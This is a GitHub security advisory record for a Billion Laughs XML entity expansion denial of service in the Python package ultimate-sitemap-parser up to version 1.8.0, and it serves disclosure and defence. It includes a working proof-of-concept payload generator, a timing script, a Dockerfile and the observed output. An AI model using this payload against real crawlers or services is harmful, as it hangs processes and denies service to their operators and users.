GHSA-p5wc-9w9r-m232: Ultimate Sitemap Parser (USP) Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p5wc-9w9r-m232",
  "modified" : "2026-06-19T21:15:36Z",
  "published" : "2026-06-19T21:15:36Z",
  "aliases" : [ ],
  "summary" : "Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser",
  "details" : "## XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser\n\n### Summary\n\n`ultimate-sitemap-parser` version 1.8.0 and earlier parse attacker-controlled XML content using Python's `xml.parsers.expat` without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the \"Billion Laughs\" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required — the vulnerability is exploitable by default through any public-facing use of `sitemap_tree_for_homepage()` or `sitemap_from_str()`.\n\n### Details\n\nThe vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:\n\n1. **`usp/tree.py:42`** — `sitemap_tree_for_homepage(homepage_url)` is the primary public entry point.\n2. **`usp/tree.py:133`** — `sitemap_from_str(content)` is the secondary public entry point (also directly reachable from user code).\n3. **`usp/fetch_parse.py:141-145`** — `SitemapFetcher._fetch()` retrieves the remote URL content.\n4. **`usp/fetch_parse.py:175`** — The raw response becomes `response_content` (taint propagation point).\n5. **`usp/fetch_parse.py:441-450`** — `XMLSitemapParser.sitemap()` creates an Expat parser and feeds the attacker-controlled content directly to it:\n\n```python\n# usp/fetch_parse.py:441-450  — VULNERABLE SINK\nparser = xml.parsers.expat.ParserCreate(\n    namespace_separator=self.__XML_NAMESPACE_SEPARATOR\n)\n# ... handler assignments ...\nparser.Parse(self._content, is_final)   # <-- no DTD/entity restriction\n```\n\nA full audit of the `usp/` directory confirms that none of the following hardening measures are present:\n- `defusedxml` usage\n- DOCTYPE rejection\n- `SetParamEntityParsing`\n- `UseForeignDTD`\n- `ExternalEntityRefHandler`\n\nWhen a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10⁶ expansions), processing time exceeds 20 seconds, effectively hanging the calling process.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Option A: install from PyPI\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\n```\n\n```bash\n# Option B: Docker (using the provided Dockerfile)\ndocker build -t vuln-001-usp -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-usp\n```\n\n**Attack payload and execution:**\n\n```python\nfrom usp.tree import sitemap_from_str\nimport time, signal\n\nTIMEOUT = 20\n\nclass TimedOut(Exception): pass\ndef handler(s, f): raise TimedOut()\n\ndef build_payload(level):\n    lines = ['<?xml version=\"1.0\"?>', '<!DOCTYPE x [']\n    lines.append(' <!ENTITY lol \"lol\">')\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i-1}\"\n        expansion = \"\".join(f\"&{prev};\" for _ in range(10))\n        lines.append(f' <!ENTITY lol{i} \"{expansion}\">')\n    lines.append(']>')\n    lines.append('<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">')\n    lines.append(f'  <url><loc>http://example.com/&lol{level};</loc></url>')\n    lines.append('</urlset>')\n    return \"\\n\".join(lines)\n\nfor level in [3, 4, 5, 6]:\n    signal.signal(signal.SIGALRM, handler)\n    signal.alarm(TIMEOUT)\n    t = time.perf_counter()\n    try:\n        result = sitemap_from_str(build_payload(level))\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        url_len = len(pages[0].url) if pages else 0\n        print(f\"Level {level}: {elapsed:.4f}s  url_len={url_len:,}\")\n    except TimedOut:\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        print(f\"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed\")\n```\n\n**Expected output (observed during dynamic reproduction):**\n\n```\nLevel 3 (10^3):   0.0054s   url_len=3,019\nLevel 4 (10^4):   0.0321s   url_len=30,019\nLevel 5 (10^5):   5.2845s   url_len=300,019\nLevel 6 (10^6):  TIMEOUT after 20.0011s  -- DoS confirmed\n```\n\nProcessing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.\n\n### Impact\n\nThis is a **Denial-of-Service (DoS)** vulnerability via XML Entity Expansion (the \"Billion Laughs\" / CWE-776 pattern). Any application or service that uses `ultimate-sitemap-parser` to crawl external or user-supplied URLs is impacted.\n\n**Who is affected:**\n- **Web crawlers and indexers** that call `sitemap_tree_for_homepage()` against arbitrary URLs — a single malicious sitemap server can lock up the crawler process.\n- **CI/CD pipelines and monitoring tools** that periodically parse sitemaps as part of automated workflows.\n- **Any application** that passes unvalidated user input to `sitemap_from_str()`.\n\nBecause no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC\" \\\n      target=\"GateNLP/ultimate-sitemap-parser <= 1.8.0\" \\\n      cwe=\"CWE-776\"\n\nWORKDIR /app\n\n# Copy the cloned repository first\nCOPY repo/ /app/repo/\n\n# Install uv_build (required build backend) then install the vulnerable package from the local clone\nRUN pip install --no-cache-dir \"uv_build>=0.9.6,<0.10.0\" && \\\n    pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: XML Entity Expansion (Billion Laughs) DoS\nAffected: GateNLP/ultimate-sitemap-parser <= 1.8.0\nCWE-776: Improper Restriction of Recursive Entity References in DTDs\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High)\n\nSink: usp/fetch_parse.py:450\n  parser = xml.parsers.expat.ParserCreate(namespace_separator=...)\n  parser.Parse(self._content, is_final)   <- no DTD/entity restriction\n\nEntry: usp.tree.sitemap_from_str(content: str) -> AbstractSitemap\n\"\"\"\n\nimport signal\nimport sys\nimport time\n\nfrom usp.tree import sitemap_from_str\n\nTIMEOUT_SECONDS = 20\nDOS_THRESHOLD_SECONDS = 2.0  # level 5 must exceed this to PASS\n\n\nclass TimedOut(Exception):\n    pass\n\n\ndef _alarm_handler(signum, frame):\n    raise TimedOut(\"SIGALRM fired\")\n\n\ndef build_billion_laughs_payload(level: int) -> str:\n    \"\"\"Build a Billion Laughs XML payload nested to `level` depth.\n\n    Each level multiplies expansion by 10:\n      level 3 -> 10^3   = 1,000 chars\n      level 4 -> 10^4   = 10,000 chars\n      level 5 -> 10^5   = 100,000 chars\n      level 6 -> 10^6   = 1,000,000 chars\n    \"\"\"\n    lines = ['<?xml version=\"1.0\"?>', \"<!DOCTYPE x [\"]\n    lines.append(' <!ENTITY lol \"lol\">')\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i - 1}\"\n        expansion = \"\".join(f\"&{prev};\" for _ in range(10))\n        lines.append(f' <!ENTITY lol{i} \"{expansion}\">')\n    lines.append(\"]>\")\n    lines.append('<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">')\n    lines.append(f\"  <url><loc>http://example.com/&lol{level};</loc></url>\")\n    lines.append(\"</urlset>\")\n    return \"\\n\".join(lines)\n\n\ndef parse_with_timeout(payload: str):\n    \"\"\"Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out).\"\"\"\n    signal.signal(signal.SIGALRM, _alarm_handler)\n    signal.alarm(TIMEOUT_SECONDS)\n    start = time.perf_counter()\n    timed_out = False\n    url_len = 0\n    try:\n        result = sitemap_from_str(payload)\n        elapsed = time.perf_counter() - start\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        if pages:\n            url_len = len(pages[0].url)\n    except TimedOut:\n        elapsed = time.perf_counter() - start\n        timed_out = True\n        signal.alarm(0)\n    except Exception as exc:\n        elapsed = time.perf_counter() - start\n        signal.alarm(0)\n        print(f\"    [EXCEPTION] {type(exc).__name__}: {exc}\", flush=True)\n    return elapsed, url_len, timed_out\n\n\ndef main() -> int:\n    print(\"=\" * 64)\n    print(\"VULN-001  XML Entity Expansion DoS  (Billion Laughs)\")\n    print(\"Target : GateNLP/ultimate-sitemap-parser <= 1.8.0\")\n    print(\"Sink   : usp/fetch_parse.py:450  parser.Parse(_content)\")\n    print(f\"Timeout: {TIMEOUT_SECONDS}s per level\")\n    print(\"=\" * 64)\n\n    results = {}\n    for level in [3, 4, 5, 6]:\n        theoretical = 10**level\n        payload = build_billion_laughs_payload(level)\n        print(\n            f\"\\n[*] Level {level}: 10^{level} = {theoretical:>10,} chars  \"\n            f\"payload_bytes={len(payload)}\",\n            flush=True,\n        )\n        elapsed, url_len, timed_out = parse_with_timeout(payload)\n        results[level] = (elapsed, url_len, timed_out)\n\n        if timed_out:\n            print(\n                f\"[!] Level {level}: TIMED OUT after {elapsed:.1f}s  \"\n                f\"(>{TIMEOUT_SECONDS}s)  -- DoS confirmed\",\n                flush=True,\n            )\n        else:\n            print(\n                f\"[+] Level {level}: completed in {elapsed:.4f}s  \"\n                f\"url_len={url_len:,}\",\n                flush=True,\n            )\n\n    print(\"\\n\" + \"=\" * 64)\n    print(\"TIMING SUMMARY\")\n    print(\"=\" * 64)\n    for lvl, (elapsed, url_len, timed_out) in results.items():\n        status = f\"TIMEOUT >{TIMEOUT_SECONDS}s\" if timed_out else f\"{elapsed:.4f}s\"\n        print(f\"  Level {lvl} (10^{lvl:>1}): {status:>20}   url_len={url_len:,}\")\n\n    print()\n\n    # Verdict: level 5 must take >2s or level 6 must time out\n    lvl5_elapsed, _, lvl5_timed_out = results.get(5, (0, 0, False))\n    lvl6_elapsed, _, lvl6_timed_out = results.get(6, (0, 0, False))\n\n    slow_evidence = lvl5_elapsed > DOS_THRESHOLD_SECONDS or lvl5_timed_out\n    timeout_evidence = lvl6_timed_out or lvl6_elapsed > DOS_THRESHOLD_SECONDS\n\n    if slow_evidence or timeout_evidence:\n        print(\"[PASS] DoS CONFIRMED: exponential CPU exhaustion via XML entity expansion\")\n        print(\n            f\"       level-5 time={lvl5_elapsed:.4f}s  level-6 \"\n            + (\"TIMEOUT\" if lvl6_timed_out else f\"time={lvl6_elapsed:.4f}s\")\n        )\n        print(\"[PASS] CWE-776 Billion Laughs confirmed in ultimate-sitemap-parser <= 1.8.0\")\n        return 0\n    else:\n        print(\"[FAIL] Timing did not show significant slowdown -- DoS not confirmed\")\n        print(f\"       level-5={lvl5_elapsed:.4f}s  level-6={lvl6_elapsed:.4f}s\")\n        print(\"       (expected level-5 > 2s or level-6 to time out)\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ultimate-sitemap-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.8.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-p5wc-9w9r-m232"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GateNLP/ultimate-sitemap-parser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-776" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:15:36Z",
    "nvd_published_at" : null
  }
}